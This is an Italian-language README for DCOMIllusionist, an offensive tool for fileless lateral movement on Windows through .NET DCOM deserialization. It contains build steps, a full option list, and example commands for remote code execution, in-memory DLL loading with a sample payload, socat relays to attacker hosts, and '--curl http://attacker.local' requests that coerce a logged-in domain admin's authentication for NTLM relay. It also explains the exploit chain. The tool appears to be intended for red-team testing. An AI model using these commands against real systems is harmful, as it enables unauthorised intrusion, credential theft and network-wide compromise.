
Tecniche di movimento laterale DCOM in memoria e senza file attraverso la deserializzazione .Net
Tecnica di movimento laterale senza file per Windows.
Introduzione • Compilazione • Utilizzo • Dettagli tecnici • Riconoscimenti
Questo strumento consente l'esecuzione remota di codice su una macchina Windows, se si dispone di privilegi amministrativi. Sfrutta DCOM e il comportamento dei server .NET DCOM, che deserializzano automaticamente gli oggetti in arrivo. Ciò rende possibile eseguire comandi arbitrari o caricare DLL senza scrivere su disco.
Originariamente scoperto da James Forshaw come tecnica di escalation dei privilegi, questo metodo è stato adattato per il movimento laterale modificando da remoto specifiche chiavi di registro. Inoltre, supporta lo sfruttamento cross-sessione tramite DCOM, consentendo l'esecuzione di comandi arbitrari all'interno di un'altra sessione utente sotto il contesto di sicurezza di quella sessione.
Funziona su workstation e server, ma è necessario l'accesso di rete tra la macchina di destinazione e una macchina controllata dall'attaccante.
Maggiori dettagli in questa sezione.
È disponibile una release, oppure puoi compilarlo manualmente:
PS F:\> git clone https://github.com/synacktiv/DCOMIllusionist.git
PS F:\> cd DCOMIllusionist
PS F:\DCOMIllusionist> dotnet publish -c Release -r win-x64
PS F:\> runas /u:LAB\adm /netonly powershell.exe
PS F:\> ./DCOMIllusionist.exe -t 10.10.10.10 --session 1 --curl http://attacker.local --attacker-sid <sid-adm>
[!IMPORTANTE]
L'accesso amministrativo è richiesto sia sul host attaccante (tramite una shell elevata) che sulla macchina di destinazione per utilizzare con successo questo strumento.
Utilizzo:
DCOMIllusionist.exe [options] -t <target> (--ps-exec | --exec | --curl | --file-write-src | --load-dll | --yso-b64 | --test-network | --list-sessions)
Opzioni:
-h, --help Mostra questo messaggio di aiuto ed esce
-d, --debug Abilita il logging di debug
-t, --target <value> Imposta l'hostname o IP di destinazione
-p, --port <value> Imposta la porta di destinazione (Default: 49765)
--clsid <value> Specifica un CLSID (senza parentesi graffe)
--appid <value> Specifica un AppID (senza parentesi graffe)
-s, --session <value> Fornisce un identificatore di sessione
-l --listen <host> Specifica un listener FQDN o IP
-g, --gadget <value> Specifica il gadget da utilizzare
--attacker-sid <value> Imposta il SID dell'attaccante
--no-port-check Disabilita il controllo di disponibilità della porta
--restore-backup <path> Ripristina il registro da un backup
--local-registry-only Effettua solo modifiche al registro locale
--remote-registry-only Effettua solo modifiche al registro remoto
--skip-local-registry-setup Salta la configurazione del registro locale
--skip-remote-registry-setup Salta la configurazione del registro remoto
--hku Esegue operazioni sul registro remoto su HKCU invece di HKLM
--fake-clsid Crea un CLSID falso con un AppId falso
Attacchi:
--ps-exec <args> Esegue un comando da remoto usando PSExec
--exec <cmd> Esegue un comando da remoto
--exec-args <args> Argomenti da passare al comando
--curl <url> Usa un payload di richiesta web in stile curl
--file-write-src <src> File da scrivere
--file-write-dst <dst> Percorso di destinazione
--load-dll <path> Carica una DLL nel processo remoto
--dll-class <value> Classe nella DLL da eseguire (incluso namespace)
--dll-method <value> Metodo statico nella classe da eseguire (Default: Run)
--yso-b64 <b64> Esegue un payload ysoserial codificato in base64
--test-network Controlla l'accesso di rete dal target alla macchina attaccante
--list-sessions Elenca le sessioni interattive sul target
Esempi:
DCOMIllusionist.exe --target 192.168.1.10 --exec "whoami"
DCOMIllusionist.exe -t victim.local -p 1337 --listen other.attacker.local --load-dll "payload.dll" --dll-class "Exploit" --session 2
CLSID:
BFFECCA7-4069-49F9-B5AB-7CCBB078ED91 - System.ServiceModel.Internal.TransactionBridge (Default)
2A7B042D-578A-4366-9A3D-154C0498458E - System.Management.Instrumentation.ManagedCommonProvider
37708080-3519-4ED6-91D5-A64B643863FB - Windows.Help.Runtime.CatalogRead
AppId:
577289B6-6E75-11DF-86F8-18A905160FE0 - Windows Push Notification Platform Connection Provider (Default)
63766597-1825-407D-8752-098F33846F46 - CentennialLifetimeManagerConsoleOperator
06C792F8-6212-4F39-BF70-E8C0AC965C23 - User Account Control Settings (Utente interattivo)
D4872B74-3AFC-47CD-B8A2-9E4F998539BC - Remote Cloud Store Factory (Utente interattivo)
--sessionCome spiegato in precedenza, è possibile specificare una sessione per eseguire comandi arbitrari nella sessione di un altro utente.
[!AVVISO] Funziona solo con AppID configurati per essere eseguiti sotto l'identità dell'utente interattivo. Questo viene gestito automaticamente, non è necessario specificare l'argomento
--appid, poiché lo strumento utilizzerà per impostazione predefinita l'AppID associato a User Account Control Settings.
[!IMPORTANTE] Funziona solo se la macchina attaccante è unita a un dominio, maggiori dettagli qui.
--list-sessionsElenca le sessioni interattive e attive remote sul target utilizzando WTSEnumerateSessions.
--listenSe la macchina di destinazione non può raggiungere direttamente l'host dell'attaccante, l'exploit fallirà. Tuttavia, è possibile specificare una macchina intermedia che il target possa contattare. Utilizzando strumenti come socat, il traffico può essere poi inoltrato da questo intermediario all'host dell'attaccante.
$ sudo socat -v TCP-LISTEN:135,fork,reuseaddr TCP:attacker.local:135
$ socat -v TCP-LISTEN:1337,fork,reuseaddr TCP:attacker.local:1337
PS F:\> ./DCOMIllusionist.exe -t victim.local -p 1337 --listen compromised.local --ps-exec whoami
--attacker-sidQuando si esegue l'exploit da una shell runas /netonly, l'identità associata non può essere recuperata automaticamente. Pertanto, è necessario fornirla esplicitamente utilizzando l'opzione --attacker-sid affinché l'attacco abbia successo.
--exec--exec può essere utilizzato con --exec-args per eseguire binari arbitrari sul target:
PS F:\> ./DCOMIllusionist.exe -t victim.local --exec powershell.exe --exec-args "-C calc"
[!NOTA]
--ps-execè solo un wrapper per questo, lo stesso risultato può essere ottenuto con:--ps-exec calc
--curlCurl può essere utile in scenari di sfruttamento cross-sessione. Se si hanno privilegi amministrativi su una macchina e, ad esempio, un amministratore di dominio è attivo nella sessione 3, è possibile avviare una richiesta HTTP autenticata, puramente tramite .NET, per conto di quell'utente. Indirizzando questa richiesta a una macchina controllata dall'attaccante che esegue ntlmrelayx.py, è possibile effettuare attacchi NTLM relay tradizionali per compromettere l'utente.
PS F:\> ./DCOMIllusionist.exe -t 10.10.10.10 --session 3 --curl http://attacker.local
--load-dllÈ possibile caricare una DLL arbitraria interamente in memoria, senza toccare il disco. Per esempio:
// Build: csc /target:library /optimize /out:Payload.dll Payload.cs
using System.Diagnostics;
public class Payload
{
public static void Run()
{
Process.Start("calc");
}
}
PS F:\> ./DCOMIllusionist.exe -t victim.local --load-dll Payload.dll --dll-class Payload
Per impostazione predefinita, viene eseguito il metodo statico Run (senza parametri) della classe specificata. Questo comportamento può essere personalizzato utilizzando il parametro --dll-method.
--yso-b64Per la generazione avanzata di gadget, è possibile utilizzare Ysoserial.net. Il payload codificato in Base64 risultante può essere fornito direttamente; verrà incapsulato in un'istanza di RolePrincipal e deserializzato sulla macchina di destinazione.
[!AVVISO] Funziona solo con BinaryFormatter
--test-networkEsegue le stesse operazioni dell'exploit normale, ma invia solo un payload fittizio per confermare che il target possa connettersi alla macchina dell'attaccante.
--hkuTutto può essere sfruttato da un utente con privilegi bassi utilizzando HKEY_USERS invece della radice del registro HKLM. Questo può essere utilizzato se un utente è membro del gruppo Performance Log Users o Distributed COM Users. In questo caso, --attacker-sid deve essere fornito per accedere al percorso corretto del registro. Deve essere fornito anche un CLSID scrivibile (vedere --fake-clsid):
PS F:\> ./DCOMIllusionist.exe --target victim.local --clsid 1f0dd70c-df30-4b47-8ac4-f72aba8bff24 --exec calc.exe --attacker-sid S-1-5-21-2090540823-3895734423-2628300701-1003 --hku --appid 900f081a-a69d-4a92-9f33-72c141feee9a
--fake-clsidCrea un CLSID e un AppId falsi. Le autorizzazioni sono impostate sull'AppId in modo tale che l'utente corrente o il --attacker-sid possano quindi avviare e attivare il server DCOM. Questo è utile quando si effettua lo sfruttamento da un utente con privilegi bassi su HKU.
PS F:\> ./DCOMIllusionist.exe --target victim.local --fake-clsid --attacker-sid S-1-5-21-2090540823-3895734423-2628300701-1003 --hku
[+] Creazione del CLSID falso
[+] Nuovo AppId: {900f081a-a69d-4a92-9f33-72c141feee9a}
[+] Nuovo CLSID: {1f0dd70c-df30-4b47-8ac4-f72aba8bff24}
Quando un server DCOM scritto in .NET riceve un oggetto, interroga l'interfaccia DCOM IManagedObject. Se l'interfaccia è presente, il server invoca il metodo GetSerializedBuffer. Il client risponde con una versione serializzata dell'oggetto, che il server deserializza, provocando l'esecuzione di codice arbitrario. Affinché ciò avvenga con successo, la macchina vittima deve avere accesso di rete diretto all'host dell'attaccante (vedere --listen).
Forgiando OBJREF DCOM arbitrari, è possibile reindirizzare la macchina di destinazione a qualsiasi sistema remoto. Ad esempio, socat può essere utilizzato per inoltrare il traffico sulla porta 135 (e un'altra porta arbitraria) alla macchina effettivamente controllata dall'attaccante. Nel proof of concept di James Forshaw, che in seguito è diventato la base per gli exploit "Potato", ha utilizzato il GUID di PointerMoniker per marshalling di oggetti arbitrari in OBJREF. Questo approccio ha attivato con successo l'autenticazione ma è fallito nelle fasi successive. Utilizzando invece il GUID del marshaller standard, diventa possibile creare e inviare OBJREF arbitrari completamente funzionali.
Tuttavia, nessun server DCOM .NET è esposto per impostazione predefinita sulle versioni di Windows Server testate. Per abilitare l'interazione remota, è possibile modificare in remoto il registro di Windows per associare un AppID personalizzato a un CLSID .NET, rendendolo accessibile tramite DCOM. Con un'attenta selezione dell'AppID, è anche possibile abilitare lo sfruttamento cross-sessione, tramite il moniker di sessione, se una sessione interattiva è presente sulla macchina di destinazione. Anche questo è stato scoperto e dettagliato da James Forshaw qui e qui.
Affinché l'exploit abbia successo, il server di destinazione deve recuperare i dati dell'oggetto serializzato (il gadget) dalla macchina controllata dall'attaccante. Ciò richiede che il server si autentichi all'host dell'attaccante.
Se l'AppID non è configurato per essere eseguito sotto l'identità dell'utente interattivo, il tentativo di autenticazione avverrà come Anonimo. Per consentire ciò, la macchina dell'attaccante deve essere configurata per accettare l'autenticazione DCOM anonima modificando le autorizzazioni di accesso DCOM predefinite.
Quando l'AppID è associato all'utente interattivo, l'autenticazione viene eseguita utilizzando l'identità dell'utente nella sessione specificata (tramite --session) o, per impostazione predefinita, nella sessione 0. In questo caso, la macchina dell'attaccante deve essere unita a un dominio per accettare l'autenticazione dell'utente. Ecco perché il gruppo Everyone viene temporaneamente aggiunto alle autorizzazioni di accesso DCOM predefinite per consentire un'autenticazione riuscita.
È importante notare che vengono modificate solo le autorizzazioni di accesso predefinite; le autorizzazioni di avvio e attivazione rimangono invariate. Tutte le modifiche vengono annullate al termine dell'operazione. Se qualcosa va storto, viene creato un backup delle impostazioni originali che può essere ripristinato.
[!ATTENZIONE] La macchina dell'attaccante viene temporaneamente lasciata in uno stato più permissivo durante l'exploit, ma tutte le modifiche vengono annullate successivamente.
TextFormattingRunProperties, ha mostrato come caricare DLL arbitrarie in memoria. Questo è stato riutilizzato per gli attacchi --curl e --file-write.